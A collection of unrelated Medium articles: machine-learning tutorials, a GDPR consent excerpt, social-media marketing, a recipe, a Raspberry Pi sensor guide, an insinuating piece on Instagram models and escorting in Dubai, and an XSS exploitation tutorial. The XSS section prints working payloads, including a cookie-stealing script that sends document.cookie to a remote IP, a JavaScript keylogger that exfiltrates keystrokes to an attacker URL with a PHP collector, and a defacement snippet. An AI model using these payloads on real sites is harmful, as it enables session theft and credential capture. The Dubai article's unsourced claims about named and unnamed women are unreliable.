Another feature provided by the library is the analysis of feature importance. I will not go into the details on how it is calculated (you can find them here). To get the importances, we need to use the feature_importance function and provide the path to the rules.py file as the argument.
Image by author
The results suggest that age is the most important feature for predicting whether someone earns more than 50k USD a year.
As the very last thing, I wanted to compare the speed of chefboost with scikit-learn . Naturally, the decision trees in the latter library require data in a different format, so we prepare it accordingly.
We used the same settings for the split as before, to ensure a fair comparison. Then, we used the %time magic to see how long it took to train the model.
CPU times: user 1e+03 ns, sys: 0 ns, total: 1e+03 ns
Wall time: 3.1 µs
That is quite a difference… I am not sure what is the cause of that, I would bet on creating the if-else representation of the tree.
Takeaways
chefboost is an alternative library for training tree-based models,
is an alternative library for training tree-based models, the main features that stand out are the support for categorical features and the output of the models in the form of nested if-else statements,
the training is much slower as compared to scikit-learn , and the choice of hyperparameters to tune is very limited.
You can find the code used for this article on my GitHub. Also, any constructive feedback is welcome. You can reach out to me on Twitter or in the comments.
If you liked this article, you might also be interested in one of the following: | https://towardsdatascience.com/chefboost-an-alternative-python-library-for-tree-based-models-f46af028a348 | ['Eryk Lewinson'] | 2021-06-13 22:51:10.021000+00:00 | ['Decision Tree', 'Python', 'Data Science', 'Education', 'Machine Learning'] |
Consumer Identity & Access Management: Consent Management | The following is an excerpt from chapter 3 of Consumer Identity & Access Management Design Fundamentals, estimated release January 2021.
Consent Management
Let us change gears again, and take a look at a major requirement when building systems holding consumer related data — that of consent. Consent plays a major role in user interactions and is a key component in both the building of trust and regulatory compliance.
Consent plays a significant part in many different end user interactions — from how and what data can be collected and used, through to the sharing of that data within individuals and third party systems.
Privacy -v- Personalisation
Consent sits within the seemingly paradoxical world of privacy and personalisation. When individuals are asked directly simple questions such as “do you value your privacy” or “do you want your data being kept private”, the answer is invariably “YES!”. However, not all of our actions are consistent with that behaviour.
Privacy is typically focused on the controlled confidentiality of personally identifiable information (PII). Secrecy on the other hand, is typically associated with computerized functions, such the keeping of cryptographic keys away from prying eyes. The definitions are not necessarily strict, but the subtlety is important, as I think it also generates some of the reasons surrounding behavioural mismatches when it comes to privacy.
Privacy is deemed to be more important to us, as it clearly pertains to something that is an extension of us — PII. Information that can be used maliciously against us, or certainly could be used in ways which we may not authorize or encourage. By association we as human entities place high importance on privacy, in the immediacy. However, we typically view future happiness, with less utility as immediate happiness. $10 in your hand right now, seems more appealing than $12 in a week’s time. The same can essentially be applied to privacy — if a barrier to an immediate service, good or experience exists, due to requirements surrounding privacy preservation, consent capture, the vast majority of people are likely to consume the service.
Think of some simple examples.
Do you pause to read all the terms and conditions when signing up to your favourite online movie store?
Do you have several different email addresses for all the different online systems you register for?
Do you distribute buying habits across stores in order to avoid being profiled?
The answer is very likely to be “no” to any or all of the above, resulting in a conflict — similar to that of security versus usability we touched upon in chapter 2.
How can a consumer of a service, receive what they want when they want it via a personalised experience, whilst simultaneously being held in a privacy preserved ecosystem?
There has to be a balanced exchange, between the end user and the service provider — a “coincidence of wants”, where both parties perform an exchange in which both parties can be happy. This is an interesting paradox, especially when no money exchanges hands.
The classic problem, of if something is free, you are the product — meaning our data is essentially what the service provider wants, and often needs, in order to deliver a personalised experience.
As a result we end up in conflict and essentially identify another market failure. There is no incentive for the service provider to uphold your privacy, if that privacy inhibits them from delivering a service, which in turn is how they can generate revenue.
Enter stage left, government regulation.
Regulation
As we know regulatory involvement typically occurs during market failure. A simple example of where perhaps we see a monopolistic supplier of a good or service, which requires an external regulator to provide quasi competitive pressure and oversight. It seems when it comes to privacy, we perhaps have another market failure, with the relatively recent introduction to two big pieces of privacy preserving regulation: The EU’s GDPR and the California state’s CCPA.
GDPR
The GDPR came into effect in May 2018 with essentially two main focus areas:
For people to have more control over their data
For business to have a level playing field for competition
From a consumer perspective, it was about providing a framework where the processing of an individual’s personal data was driven by consent, with that consent based on an affirmative and informed decision. That essentially translates to the end user being made fully aware of what information is being processed, why it is being processed and for the service provider to interrupt the end user to receive a definite positive answer. Typically in the past, a service provider may have received a more implicit answer, based on the user not opting out of a particular condition or signup process. The GDPR removes this ambiguity and forces the service provider to be very explicit regarding information capture and use and provide a solid opportunity for opt in and opt out.
GDPR amplifies the data rights of the end user to the following:
Data protection by default
Data processing information provided to the end user
The right to object for the end user
Ability to access all the data being kept about the end user
Right to be informed if that data is leaked
The right to be forgotten
The intervention of any regulation tends to not occur, if the rights are being upheld “naturally” in the evolving digital landscape. Clearly some organisations would have been supporting those rights by default before the GDPR became binding, but many would not.
So what impact does this have on service providers? There are some basic key principles information designers need to consider when developing digital systems:
Have clearly defined policies for collecting user data
Don’t use the data for any other reason other than that specified
Don’t collect more data than is needed
In turn that extrapolates into deeper requirements for business such as the following:
Check the personal data you collect and process Inform the end user (customer, client, employee) when personal data is collected Keep the personal data for only as long a necessary Secure the data that is being processed Keep and maintain documentation on the data processing activities Make sure the necessary sub contractors abide by the same rules
The above only apply if your business is processing personal data of individuals that reside in the EU — even if the processing entity does not. Clearly if the business resides in the EU too the regulation applies by default.
Many organisations may need to perform a Data Protection Impact Assessment (DPIA) which is a mandatory requirement for organisations that use large amounts of automation, new technologies or there is a higher risk to the end user’s freedom. The DPIA process is there to protect the freedoms of the individual if data such as CCTV or facial recognition technology is being used.
Whilst the service provider seems to have onerous new responsibilities, the EU promotes this as a business opportunity — a normalised set of controls that apply to all EU member countries, allowing a service to offer a compliant experience across lots of different countries at once.
CCPA
The CCPA was also introduced in 2018, primarily focused on the state of California in the United States, with an aim of introducing new privacy rights including:
The right to know about the personal information a business collects about them and how it is used and shared
The right to delete personal information collected from them
The right to opt-out of the sale of their personal information; and
The right to non-discrimination for exercising their CCPA rights
A Californian resident may now ask a business to disclose what personal information they hold about the end user, what they do with it, who they share it with and request that it can be deleted. There is also a right for the business to notify the end user when data is being collected.
The personal data definition under the CCPA, is typically data that is not publicly available, including things like purchase history, browsing history and preferences.
The CCPA needs to be upheld by organisations (other than non-profits or government agencies) either earning more than $25 million per year, holds data on over 50,000 Californian residents or services more than 50% of their revenue from selling data on Californian residents.
Whilst both the GDPR and CCPA are now law, the actual number of organisations being fully compliant is still unknown. The impact of not doing for service providers however can be substantial, with non-compliance for GDPR potentially resulting in a maximum 20 million Euro fine (or 4% annual turnover whichever is the larger). From a CCPA perspective, individuals can only take legal action against a provider in the event of a data breach, that also shows that customer data was not adequately protected — aka was not encrypted or redacted. A statutory damages limit is set at $750 per incident.
Not withholding the monetary impact, the brand damage and potential share price impact of a public non-compliance charge, must also be taken into account. | https://medium.com/consumer-identity-access-management-design/consumer-identity-access-management-consent-management-fbd2352619bb | ['Ciam Design'] | 2020-12-01 11:05:29.166000+00:00 | ['Access Management', 'Consumer', 'Identity', 'Identity Management', 'Digital Transformation'] |
Instagram models in Dubai | Prostitution or smart business? | Instagram models seem to run the world these days. Thousands of likes, millions of followers and global influence, how could you argue!
The Instagram models that get the most attention are the females for obvious reasons.
They live a flamboyant lifestyle traveling the world in luxury cars and jets, living on beaches, staying in the finest hotels and wearing the most expensive clothes. Their lives are more fitted to that of a billionaire.
So how do they afford it all?
https://www.1st-man.com/
It’s pretty well know and documented that most of the models headed to Dubai are escorting.
For those of you who don’t know, Instagram models get offered thousands to meet, date or even sleep with rich men. Turns out a lot of these rich men are based in Dubai — this is pretty well documented.
There’s cases of Arab Princes offering 200k Euro’s for the “services” of some of these Instagram models. Model Alina Lozado Gonzalez got tricked into agreeing to sleep with a rich Arab man and his 13 year old Brother. Nearly every large following Instagram girl travels to Dubai at least 5 times per year.
It doesn’t take a rocket scientist to figure out what’s been going on. In fact this is nothing new.
Hollywood has been operating under the same rule-set since it was established. Beautiful women and rich men go hand-in-hand.
A rich and powerful man who’s a source for 1STMAN told us that nearly every guy he knows from Dubai or the UAE, travel to Belarus at least once per year to “let off some steam”. For anyone who doesn’t know Belarus is like Vegas but ten times worse if you want it to be. Anything you want is possible with the right budget including women, drugs and guns.
The price is…wrong
We looked throughly through one Instagram models photos and tracked her movements for 3 months.
Over the period of 3 months she traveled to Dubai, LA, Marrakech, Dubai again, Bali and Amsterdam, whilst living in London.
We calculated with average flights and the price of the hotels that she stayed in, that she was spending £20,000 per month. This included travel costs, living costs, maintaining a London address and lifestyle. It also meant that she would have zero savings, so perhaps she’s earning more than what we expected each month.
Either she’s getting paid a bomb from brands, which is entirely possible with her roughly 500k following, or her 4 trips to Dubai this year have been extremely rewarding.
It’s strange that she’s traveled the world, yet visited nowhere more than once except Dubai. We’re not going to name-names in this article because we have no concrete evidence, but it’s hard to believe someone under 20 years old could spend £20,000 per month for a year straight from nothing but brand sponsors when Instagram marketing is dying fast.
Prostitution or smart business?
Lets say this women is escorting in Dubai, and is making £100k per visit, could you blame her?
Is it illegal? Yes. Should we encourage young women to use their beauty to make money? No. But if a young woman wants to use her “gifts” while she can, just like a man uses alpha male traits to navigate life, why shouldn’t she?
What’s the alternative — sit in an office 5 days per week earning just enough to get by, whilst getting hit on by every man in the office?
Perhaps a couple of nights per year with a wealthy paying customer is worth living for the rest of the year like a millionaire.
We’ve all been sat at work on a Wednesday and wished for the week to be over already. Maybe these women have too? Imagine being sat in an office on a rainy winters day, with your boss hiting on you, getting paid £20k per year to perform data entry, when a DM comes through offering to pay you 5 times your yearly salary in a week with flights and one of the world’s best hotels included in sunny Dubai. Would you be tempted? I know I would.
Are male Instagram models doing the same?
Click here to read the full article at 1STMAN | https://medium.com/@krissturmey/instagram-models-in-dubai-prostitution-or-smart-business-988d06da2e7b | [] | 2020-03-31 10:23:06.689000+00:00 | ['Influencers', 'Dubai', 'Female Sexuality', 'Instagram', 'Success Story'] |
6 Ways Small Businesses Can Use Instagram Reels to Promote Their Products | 6 Ways Small Businesses Can Use Instagram Reels to Promote Their Products
The coolest new Instagram feature and the infinite creative marketing possibilities it offers
Image by cottonbro on Pexels
On August 5, 2020, Instagram launched its newest feature — Reels: a fun way to create and discover short, entertaining videos on the platform. This feature offers creators the option to create videos shorter than 30 seconds. These can have several clips with audio, effects, and a multitude of other creative tools.
As with any new feature on any social media platform, Instagram has been promoting reels to a wide audience. The focus has shifted from picture to videos, and the newest short-video format has been taking the platform by storm. This is why several writers, content creators, singers, and dancers have been taking to the platform to reach more users.
Reels are also a great opportunity for small business owners to promote their products and services. As such, Instagram is a powerful tool for small business owners because:
This post discusses six creative ways people have used this feature to promote their business and the kinds of results they have achieved. It also discusses the creative freedom reels gives to content creators, and how you can apply these to your business to see amazing returns.
Note: The small businesses mentioned here are based in different parts of the world and offer a variety of products and services. The post isn’t sponsored, nor have I received any free product in exchange for a review. I selected the posts based on the “top” section on Instagram, and among all the content posted by these accounts, I picked the ones with the highest engagement. | https://medium.com/better-marketing/6-ways-small-businesses-can-use-instagram-reels-to-promote-their-products-6849e584b7c8 | ['Anangsha Alammyan'] | 2020-12-24 16:36:47.174000+00:00 | ['Marketing', 'Business', 'Creativity', 'Social Media', 'Success'] |
Happy Holidays from Botcopy. $200 value for you — enjoy. | Thanks for being part of our journey, and for letting us be part of yours. Wishing you joy & prosperity in the days and years ahead.
If you’re already on a paid plan & need a little Pro Support in the weeks to come, click to set something up. It’s on us.
Not on a paid plan yet? Redeem your $200 gift
Use the link below to sign up for our Lite Plan ($19) before Jan 2nd and receive $200 worth of free Botcopy services to help you design, program, and deploy a starter bot to your site.
No payment is required to set this appointment up.
When you click the link below, you’ll be taken to our Calendly page.
You can schedule the appointment for any time in January. But you’ll need to get ON the calendar before January 2nd.
This is a special holiday promotion, so get on the calendar and lock in the ability to redeem your $200 value now.
Your bot will include:
• Default welcome intent
• Default fallback intent
• 3 topics programmed & trained
• Email/contact collection flow
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Get a head start for an exciting year ahead: set a date now to redeem your $200 value. | https://medium.com/@roblubow/happy-holidays-from-botcopy-200-value-for-you-enjoy-431e2f37ecd6 | ['Rob Lubow'] | 2020-12-24 19:08:01.312000+00:00 | ['Botcopy', 'Chatbots', 'Bots', 'Dialogflow', 'AI'] |
Top 5 ways to exploit a Cross-Site Scripting (XSS) vulnerability | Introduction to Cross-Site Scripting (XSS)
In this article, we will discuss Cross-Site Scripting (XSS) vulnerability, how to find one and present 5 creative ways to demonstrate its impact by exploiting it.
Cross-Site Scripting (XSS) and the various types of it
It is a web-based vulnerability in which an attacker can inject malicious JavaScript code into the application, which will be later executed.
There are multiple types of this vulnerability (based on how the malicious scripts are stored and executed):
Stored/Persistent XSS: malicious scripts are stored in the application, for example in a comment section. Reflected/Non-persistent XSS: malicious scripts are returned back to the user, for example in a search query. DOM-Based/Client-Side XSS: malicious scripts are injected in the Document Object Model, being executed on the client-side and the webserver response isn’t modified. Self-XSS: the victim is tricked to run malicious scripts on their side, for example in their web developer console.
How to find a Cross-Site Scripting (XSS) in a web application
Identify all the user inputs in the application, then play with them. Send malicious scripts inside the input, see how the server responds, try to bypass the restrictions such as tag removal, encoding or character.
Also, a good practice besides the manual testing will be automated payload testing (which can be done with many tools, such as BurpSuite or OWASP ZAP).
Top 5 creative ways to exploit a Cross-Site Scripting (XSS)
Let’s discuss together 5 ways to demonstrate the severity and impact of a Cross-Site Scripting vulnerability.
#1: Stealing Cookies
Let’s suppose we have a vulnerable comments section of a blog, where an attacker can insert a malicious XSS payload. If he/she will provide the below input, it will be stored in the comments section, and any user which sees it, will have her/his cookies stolen.
<script>new Image().src="http://192.168.149.128/bogus.php?output="+document.cookie;</script>
#2: Open Redirection
You can redirect users to any chosen domain with the following XSS payload (used mostly in phishing schemes):
#3: Website Defacement
Defacement is the technique used by hackers to change the website’s page to the one chosen by the attacker, which usually contains a message that starts with “HACKED BY….”.
You can deface a website with you own designed image using the below code:
<script>document.body.background="ATTACKER'S IMAGE URL";</script>
#4: Keylogger
You can capture a website user’s keystrokes by injecting a JavaScript keylogger through a Cross-Site Scripting (XSS) vulnerability.
On the victim’s side:
var buffer = [];
var attacker = ' var buffer = [];var attacker = ' <a href="http://ATTACKER'S" class="dm ip" rel="noopener nofollow">http://ATTACKER'S</a> WEBSITE/?msg=' document.onkeypress = function(e) {
var timestamp = Date.now() | 0;
var stroke = {
k: e.key,
t: timestamp
};
buffer.push(stroke);
} window.setInterval(function() {
if (buffer.length > 0) {
var data = encodeURIComponent(JSON.stringify(buffer));
new Image(.src = attacker + data;
buiffer = [];
}
}, 200);
</script>
On the attacker’s side:
<?php
if(!empty($_GET['key'])) {
$logfile = fopen('captured.txt', 'a+');
fwrite($logfile, $_GET['key']);
fclose($logfile);
}
?>
#5: Malware
XSS vulnerabilities are basically represented by a JavaScript malicious input being parsed into the application, and executed on the client-side. So, why there can’t be a possibility for the attackers to inject malware or adware that is written in JavaScript? I will attach a list of links with JS-based malware samples:
Thanks very much for your attention, and wish you all the best! | https://medium.com/@corneacristian/top-5-ways-to-exploit-a-cross-site-scripting-xss-vulnerability-f03459ebbd8a | ['Cristian Cornea'] | 2020-12-06 12:29:55.096000+00:00 | ['Bug Bounty', 'Information Technology', 'Cybersecurity', 'Hacking', 'Web Development'] |
Decision Tree Regression | Before we begin with the Regression Trees or the Decision Tree Regression, let’s recall and review the simple Decision Tree.
Decision Tree is a supervised machine learning algorithm and it is one of the popular machine learning algorithm. It is a tree like structure constructed on the basis of attributes/features . Decision Trees is the non-parametric supervised learning approach.
So guys you may have heard the term CART which stands for Classification and Regression Trees. In my pervious blog of Decision Tree,I have covered basics of Decision Tree and Classification tree. Regression Trees are bit more complex than classification tree.
Decision Tree Regression is a Non- Linear Regression technique.
Decision Tree Regression model is in the form of a tree structure.It breaks down a data set into smaller and smaller subsets while at the same time an associated decision tree is developed.
Decision Tree Regression is used to predict the target variable whose values are continous in nature. Regression Tree can easily handle the complicated data.
Impurity Measure for regression tree are :
Least Square : Least squares regression is a way to find the line of best fit for a set of data. It does this by creating a model that minimizes the sum of the squared vertical distances (residuals).
: Least squares regression is a way to find the line of best fit for a set of data. It does this by creating a model that minimizes the sum of the squared vertical distances (residuals). Least absolute deviations:Least absolute deviations attempts to find a function which closely approximates a set of data. Instead of minimizing the sum of squared errors, it minimizes the sum of absolute values of errors.
So let us consider an example and implement the decision tree regression, here we have a dataset that has been given to us and we’ve got a scatterplot which represent it.
In the dataset we got two independent variable X1 and X2 and we have to predict the third variable a dependent variable.In the plot we cannot see it because this a simple two dimensional chart only fit the two variable,Y is the third dimension which look like this.
So once we run the regression tree or decision tree regression the scatterplot will be split up into many segments and the splits are create by an algorithm. How and where these splits are conducting is determined by the algorithm.
The right split is the split which increases the amount of information and algorithm knows when to stop when there is certain minimum amount of information that needs to be added and once they cannot add more information to the setup by splitting or we have less then 5% of the total point in the leaf then that is the leaf node and no further split take place.
Then these optimal splits will help us to create the decision tree. As according to the first split is at 20(X1),second at 170(X2) on the right side of first split,third at 200(X2) on the left side of the first split and fourth at 40(X1) below the second split. So as we were splitting the data and adding information to the system and the information falls into the terminal leaf. The Information helps us to predict the value for the new element and it works just by taking the averages of each of the segments.
In Rregression Trees, each leaf node represents a numeric value
Splitting in Decision Tree
In order to determine how to split the data into groups or segments, we try to find the different thresholds that gave us the smallest sum of squared residuals.The splits are chosen to minimize the residual sum of squares between the observation and the mean in each node. Mathematical formula of residual as follow
The threshold with the smallest sum of squared residuals becomes a candidate for the root of the tree. Mathematical formula of RSS (residual sum of squares) as follow
In order to find out the best split, we must minimize the RSS
If we have more than one predictor i.e. independent variables,we find the optimal threshold for each one and pick the candidate with the smallest sum of squared residuals to be the root.
When we cannot add more amount of information to the system and we have less than 5% of the total points in the leaf then that node becomes a leaf node, otherwise we repeat the process to split the remaning observation untill we can no longer split the observation into smaller groups or segment then we are done.
Regression Tree can easily accommodated the additional predictors.
That’s all for Regression in Decision Tree Machine learning Algorithm. Stay tuned for further blogs.
Thankyou
Implementation of Decision tree Regression algorithm on Position-Salaries dataset ~
Dataset : Position_Salaries dataset
Link:https://github.com/InternityFoundation/MachineLearning_Navu4/blob/master/Day%208%20:%20Decision%20Tree/Decision%20Tree%20Regression%20.ipynb | https://medium.com/swlh/decision-tree-regression-c977b732eb51 | ['Navjot Singh'] | 2020-11-26 03:37:54.982000+00:00 | ['Machine Learning', 'Python', 'Decision Tree', 'Data Analysis', 'Data Science'] |
Rice Krispies Breakfast Bars | (Image: Mary Hunt)
I’ve loved Rice Krispie treats for my entire life. They remind me so much of my childhood. They are ideal to pack in work or school lunch boxes and make a great snack between meals or even as an after-dinner treat.
They are treats and obviously not advised for breakfast. But this recipe is different. Here you have a healthy version that you and your kids will adore. Prepare your pantry with plenty of Rice Krispies. This recipe will make a difference!
(Image: Mary Hunt)
I´ve named these: Rice Krispies Breakfast Bars. I replaced the marshmallow and butter with peanut butter, dried fruits and honey. They can make a delightful and appetizing morning breakfast. Make sure you practice a lot of self-control. They are irresistibly addictive!
Ingredients:
7 cups Rice Krispies
2/3 cup honey
1/4 cup brown sugar
1/2 cup peanut butter
1/3 cup raisins
1/3 cup chopped dried fruit (I used cranberries)
Step 1
Take a medium saucepan, combine honey and sugar. Cook over medium heat and gently stir in a circular motion until the mixture begins to boil. Continue cooking and stirring for 1 minute longer. Remove from heat.
Step 2
Pour in the peanut butter, the dried fruit, and the raisins into the hot mixture. Stir well.
Step 3
Add the Rice Krispies cereal and mix gently until cereal is evenly coated.
Step 4
Using a rubber spatula, transfer the cereal mixture into a baking sheet coated with cooking spray and press down evenly. Let the Rice Krispies cool. Cut into 2 1/2 x 1 1/2-inch bars. Store in an airtight container in the refrigerator. | https://medium.com/@abcguides/rice-krispies-breakfast-bars-ec288f80d857 | [] | 2020-12-24 09:34:24.610000+00:00 | ['Breakfast', 'Recipe', 'Rice Krispies', 'Breakfast Ideas', 'Breakfast Recipes'] |
How to Build a Raspberry Pi Temperature Monitor | Temperature and humidity are vital data points in today’s industrial world. Monitoring environmental data for server rooms, commercial freezers, and production lines is necessary to keep things running smoothly. There are lots of solutions out there ranging from basic to complex and it can seem overwhelming on what your business needs and where to start.
We’ll walk through how to build and use a Raspberry Pi temperature sensor with different temperature sensors. This is a good place to start since these solutions are inexpensive, easy to do, and gives you a foundation to build off of for other environmental monitoring.
Raspberry Pi
A Raspberry Pi is an inexpensive single board computer that will allow you to connect to a temperature sensor and stream the data to a data visualization software. Raspberry Pi’s started out as a learning tool and have evolved to an industrial workplace tool. The ease of use and ability to code with Python, the fastest growing programming language, has made them a go to solution.
You’ll want a Raspberry Pi that has WiFi built in, which are any model 3, 4, and zero W/WH. Between those you can choose based on pricing and features. The Zero W/WH is the cheapest but if you need more functionality you can choose between the 3 and 4. You can only buy one Zero W/WH at a time due to limitations by the Raspberry Pi Foundation. Whatever Pi you choose, make sure to purchase a charger since that is how you’ll power the Pi and an SD card with Raspbian to make installation of the operating system as easy as possible.
There are other single board computer that can work as well, but that’s for another time and another article.
Sensors
There are four sensors we recommend using because they are inexpensive, easy to connect, and give accurate readings; DSB18B20, DHT22, BME280, and Raspberry Pi Sense HAT.
DHT22 — This temperature and humidity sensor has temperature accuracy of +/- 0.5 C and a humidity range from 0 to 100 percent. It is simple to wire up to the Raspberry Pi and doesn’t require any pull up resistors.
DSB18B20 — This temperature sensor has a digital output, which works well with the Raspberry Pi. It has three wires and requires a breadboard and resistor for the connection.
BME280 — This sensor measures temperature, humidity, and barometric pressure. It can be used in both SPI and I2C.
Sense HAT — This is an add on board for Raspberry Pi that has LEDs, sensors, and a tiny joystick. It connects directly on to the GPIO on the Raspberry Pi but using a ribbon cable gives you more accurate temperature readings.
Raspberry Pi Setup
If this is the first time setting up your Raspberry Pi you’ll need to install the Raspbian Operating System and connect your Pi to WiFi. This will require a monitor and keyboard to connect to the Pi. Once you have it up and running and connected to the WiFI, your Pi is ready to go.
Initial State Account
You’ll need somewhere to send your data to keep a historical log and view the real-time data stream so we will use Initial State. Go to https://iot.app.initialstate.com and create a new account or log into your existing account.
Next, we need to install the Initial State Python module onto your Pi. At a command prompt (don’t forget to SSH into your Pi first), run the following command:
$ cd /home/pi/
$ \curl -sSL https://get.initialstate.com/python -o - | sudo bash
After you enter the curl command in the command prompt you will see something similar to the following output to the screen:
pi@raspberrypi ~ $ \curl -sSL https://get.initialstate.com/python -o - | sudo bash
Password:
Beginning ISStreamer Python Easy Installation!
This may take a couple minutes to install, grab some coffee :)
But don't forget to come back, I'll have questions later! Found easy_install: setuptools 1.1.6
Found pip: pip 1.5.6 from /Library/Python/2.7/site-packages/pip-1.5.6- py2.7.egg (python 2.7)
pip major version: 1
pip minor version: 5
ISStreamer found, updating...
Requirement already up-to-date: ISStreamer in /Library/Python/2.7/site-packages
Cleaning up...
Do you want automagically get an example script? [y/N]
Where do you want to save the example? [default: ./is_example.py] Please select which Initial State app you're using:
1. app.initialstate.com
2. [NEW!] iot.app.initialstate.com
Enter choice 1 or 2:
Enter iot.app.initialstate.com user name:
Enter iot.app.initialstate.com password:
When prompted to automatically get an example script, type y. This will create a test script that we can run to ensure that we can stream data to Initial State. The next prompt will ask where you want to save the example file. You can either type a custom local path or hit enter to accept the default location. Finally, you’ll be asked which Initial State app you are using. If you’ve recently created an account, select option 2, enter your user name and password. After that the installation will be complete.
Let’s take a look at the example script that was created.
$ nano is_example.py
On line 15, you will see a line that starts with streamer = Streamer(bucket_ ... . This lines creates a new data bucket named “Python Stream Example” and is associated with your account. This association happens because of the access_key=”...” parameter on that same line. That long series of letters and numbers is your Initial State account access key. If you go to your Initial State account in your web browser, click on your username in the top right, then go to “my settings”, you will find that same access key here under “Streaming Access Keys”.
Initial State Stream Access Keys
Every time you create a data stream, that access key will direct that data stream to your account (so don’t share your key with anyone).
Run the test script to make sure we can create a data stream to your Initial State account. Run the following:
$ python is_example.py
Go back to your Initial State account in your web browser. A new data bucket called “Python Stream Example” should have shown up on the left in your log shelf (you may have to refresh the page). Click on this bucket and then click on the Waves icon to view the test data.
Initial State Python Stream Example dashboard
If you are using Python 3 you can install the Initial State Streamer Module you can install using the following command:
pip3 install ISStreamer
Now we are ready to setup the temperature sensor with the Pi to stream temperature to a dashboard.
DHT22 Solution
You’ll need the following items to build this solution:
-DHT22 Temperature and Humidity Sensor
The DHT22 will have three pins — 5V, Gnd, and data. There should be a pin label for power on the DHT22 (e.g. ‘+’ or ‘5V’). Connect this to pin 2 (the top right pin, 5V) of the Pi. The Gnd pin will be labeled ‘-’ or ‘Gnd’ or something equivalent. Connect this to pin 6 Gnd (two pins below the 5V pin) on the Pi. The remaining pin on the DHT22 is the data pin and will be labeled ‘out’ or ‘s’ or ‘data’. Connect this to one of the GPIO pins on the Pi such as GPIO4 (pin 7). Once this is wired, power on your Pi.
For this solution we will need to use Python 3 and the CircuitPython library as Adafruit has deprecated the DHT Python library.
Install the CircuitPython-DHT Python module at a command prompt to make reading DHT22 sensor data super easy:
$ pip3 install adafruit-circuitpython-dht
$ sudo apt-get install libgpiod2
With our operating system installed along with our two Python modules for reading sensor data and sending data to Initial State, we are ready to write our Python script. The following script will create/append to an Initial State data bucket, read the DHT22 sensor data, and send that data to a real-time dashboard. All you need to do is modify lines 6–11.
Line 7— This value should be unique for each node/temperature sensor. This could be your sensor node’s room name, physical location, unique identifier, or whatever. Just make sure it is unique for each node to ensure that the data from this node goes to its own data stream in your dashboard.
Line 8— This is the name of the data bucket. This can be changed at any time in the Initial State UI.
Line 9— This is your bucket key. It needs to be the same bucket key for every node you want displayed in the same dashboard.
Line 10— This is your Initial State account access key. Copy and paste this key from your Initial State account.
Line 11— This is the time between sensor reads. Change accordingly.
Line 12 — You can specify metric or imperial units on line 11.
After you have set lines 7–12 in your Python script on your Pi, save and exit the text editor. Run the script with the following command:
$ python3 tempsensor.py
Here’s an example of using the DHT22 sensor with the Raspberry Pi
Now you will have data sending to an Initial State dashboard. Go to the final section of this article for details on how to customize your dashboard.
DSB18B20 Solution
You’ll need the following items to build this solution:
-DSB18B20 Temperature Sensor
-10K Resistor
-Breadboard
-40-Pin Breakout Board + Ribbon Cable
-Wires
The ribbon cable connects to the GPIO pins on the Pi. The DS18B20 has three wires. The red wire connects to 3.3V. The blue/black wire connects to ground. The yellow wire connects to a pull-up resistor/pin 4. Once this is wired up, power on your Pi.
The latest version of Raspbian (kernel 3.18) requires an addition to your /boot/config.txt file for the Pi to communicate with the DS18B20. Run the following to edit this file:
$ sudo nano /boot/config.txt
If the following line is not already in this file (if it is, it is likely at the bottom of the file), add it and save the file.
dtoverlay=w1-gpio,gpiopin=4
Restart your Pi for the changes to take effect.
$ sudo reboot
To start the temperature sensor read interface we need to run two commands. Go to a command prompt on your Pi or SSH into your Pi. Type the following commands:
$ sudo modprobe w1-gpio $ sudo modprobe w1-therm
The output of your temperature sensor is now being written to a file on your Pi. To find that file:
$ cd /sys/bus/w1/devices
In this directory, there will be a sub-directory that starts with “28-“. What comes after the “28-” is the serial number of your sensor. cd into that directory. Inside this directory, a file named w1_slave contains the output of your sensor. Use nano to view the contents of the file. Once you’ve entered into the file, it will look something like this:
a2 01 4b 46 7f ff 0e 10 d8 : crc=d8 YES a2 01 4b 46 7f ff 0e 10 d8 t=26125
The number after “t=” is the number we want. This is the temperature in 1/1000 degrees Celsius (in the example above, the temperature is 26.125 C). We just need a simple program that reads this file and parses out that number. We will get to that in just a second.
Everything is now ready for us to start streaming data. To open the text editor type the following in the command prompt:
$ nano temperature.py
Copy and paste the code below into the text editor.
You need to put your Initial State access key on line 6 in place of PUT_YOUR_ACCESS_KEY_HERE (copy the streaming key to your clipboard from 'My Account' and paste it into the code in nano in your terminal).
Line 6 will create a bucket named “Temperature Stream” in your Initial State account (assuming you correctly specified your access_key on this same line). Lines 8 through 30 of this script simply interface with the DS18B20 sensor to read its temperature from the w1_slave file we discussed earlier. The read_temp_raw() function on line 15 reads the raw w1_slave file. The read_temp() function on line 21 parses out the temperature from that file. Line 34 calls these functions to get the current temperature. Line 35 converts the temperature from Celsius to Fahrenheit. Lines 35 and 36 streams the temperature to your Initial State account. Line 37 pauses the script for 0.5 seconds, setting how often the temperature sensor will be read and streamed.
We are ready to start streaming. Run the following command:
$ sudo python temperature.py
Go back to your Initial State account in your web browser and look for a new data bucket called Temperature Stream. You should see temperature data streaming in live. Vary the temperature of the sensor by holding it in your hand or putting it in a glass of ice.
Now you will have data sending to an Initial State dashboard. Go to the final section of this article for details on how to customize your dashboard.
BME280 Solution
You’ll need the following the build this solution:
-BME280 Pressure, Temperature, & Humidity Sensor
If you are using a BME280 that isn’t from Adafruit, your setup and code will be different. You can find an example of how to use that BME280 sensor in this article about crawl space humidity monitoring.
This sensor comes with pins that you’ll need to solder on the sensor. I recommend using a breadboard with the pins long side down into the breadboard to make soldering easier. Once you’ve completed this we need to wire the sensor to the Pi.
Connect the VIN pin on the sensor to 3.3V pin 1 on the Pi. Connect the GND pin on the sensor the ground pin 6 on the Pi. Connect the SCK pin on the sensor to the SCL pin 5 on the Pi. Connect the SDI pin on the sensor to SDA pin 3 on the Pi.
You’ll need to be using Python 3 for this solution and install the Initial State Streamer module using pip3 install method. You’ll also need to install a few Adafruit Python libraries.
pip3 install adafruit-blinka
pip3 install pureio
pip3 install spidev
pip3 install adafruit-GPIO
pip3 install adafruit-circuitpython-bme280
To use the sensor we need to enable I2C on the Pi.
sudo raspi-config
This will open the Raspberry Pi Software Configuration Tool. Go to Option 5 Interfacing Options. From here go to I2C. It will prompt to ask you if you want to enable I2C, Select Yes and Finish. Now you have I2C enabled to communicate with the sensor.
We can test this out by running the following:
sudo i2cdetect -y 1
This will verify that your Pi sees the sensor. In the way that it is connect, it should show the sensor at address 77. If you does not detect the sensor, reboot your Pi, reenable the I2C interface option on your Pi, and try again.
Once your sensor is detected, it’s time to run our main code that will send data to Initial State. Created a file called bme280sensor.py with the nano command. Copy and paste the code from the gist into the text editor. You’ll need to to make changes to lines 12–19.
Line 12 — This value should be unique for each node/temperature sensor. This could be your sensor node’s room name, physical location, unique identifier, or whatever. Just make sure it is unique for each node to ensure that the data from this node goes to its own data stream in your dashboard.
